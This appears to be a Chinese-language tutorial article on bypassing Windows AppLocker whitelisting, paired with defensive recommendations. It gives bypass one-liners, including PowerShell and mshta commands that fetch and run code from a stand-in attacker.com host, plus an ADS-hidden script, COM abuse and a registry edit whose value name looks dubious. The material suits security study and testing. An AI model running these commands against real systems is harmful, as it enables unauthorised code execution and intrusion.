插件窝 干货文章 如何进行AppLocker绕过分析

如何进行AppLocker绕过分析

哈希 AppLocker 规则 应用程序 565    来源:    2025-04-25

AppLocker绕过分析

AppLocker是Windows中的应用程序白名单解决方案,用于限制用户可以运行的应用程序。作为安全研究人员或渗透测试人员,了解如何分析AppLocker的绕过方法对于评估系统安全性至关重要。

AppLocker基础分析

AppLocker工作原理

  • 基于规则的应用程序控制
  • 可针对可执行文件(.exe)、脚本(.ps1, .vbs, .js等)、Windows安装程序(.msi, .msp)和DLL文件设置规则
  • 规则可以基于发布者、路径或文件哈希

常见规则类型

  1. 发布者规则:基于数字签名
  2. 路径规则:基于文件位置
  3. 哈希规则:基于文件哈希值

常见的AppLocker绕过技术

1. 利用受信任的路径

  • Windows自带工具:使用系统自带的脚本宿主(如cscript.exe、wscript.exe、powershell.exe)
  • 示例powershell.exe -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')"

2. 利用受信任的发布者

  • 使用已签名且受信任的应用程序执行代码
  • 示例工具
    • MSBuild.exe
    • InstallUtil.exe
    • Regsvr32.exe
    • Rundll32.exe

3. 脚本语言绕过

  • JavaScript/VBScriptcscript.exe //E:JScript C:\path\to\malicious.js
  • HTA文件mshta.exe http://attacker.com/malicious.hta

4. 注册表操作

  • 修改注册表键值以改变执行策略或路径
  • 示例reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v AllowUnsignedFiles /t REG_DWORD /d 1 /f

5. 文件重命名/移动

  • 将受限制文件复制到允许的路径或重命名为允许的扩展名

6. 替代数据流(ADS)

  • 将脚本隐藏在NTFS备用数据流中
  • 示例type malicious.ps1 > allowed.txt:script.ps1 wscript.exe c:\allowed.txt:script.ps1

高级绕过技术

1. DLL劫持

  • 利用应用程序加载DLL的顺序漏洞
  • 将恶意DLL放在应用程序搜索路径中优先级更高的位置

2. COM对象滥用

  • 通过注册的COM对象执行代码
  • 示例$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application")) $com.RegisterXLL("C:\path\to\malicious.xll")

3. .NET编译技术

  • 使用csc.exe编译内联C#代码
  • 示例C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:C:\temp\evil.exe C:\temp\evil.cs

4. 进程注入

  • 将代码注入到受信任的进程中执行
  • 常用工具:PowerSploit的Invoke-ReflectivePEInjection

防御措施分析

  1. 规则优化

    • 限制所有默认规则中的"Everyone"组
    • 为管理员和普通用户设置不同的规则
  2. 监控与审计

    • 启用AppLocker审核模式进行测试
    • 监控事件日志(事件ID 8003-8007)
  3. 补充控制

    • 结合Device Guard使用
    • 实施用户权限最小化原则
    • 定期更新规则和哈希值
  4. 脚本限制

    • 限制脚本解释器的使用
    • 实施约束语言模式

测试工具推荐

  1. PowerShell模块

    • Get-AppLockerPolicy
    • Test-AppLockerPolicy
  2. 第三方工具

    • LOLBAS (Living Off The Land Binaries and Scripts)
    • GTFOBins (Unix系统的类似项目)
    • SharpAppLocker (专门用于AppLocker测试的C#工具)
  3. Metasploit模块

    • exploit/windows/local/applocker_bypass

总结

AppLocker绕过分析需要深入了解Windows系统机制和应用程序执行流程。有效的安全防护不应仅依赖AppLocker,而应采用多层次防御策略,包括应用程序白名单、最小特权原则、代码签名验证和持续监控的组合。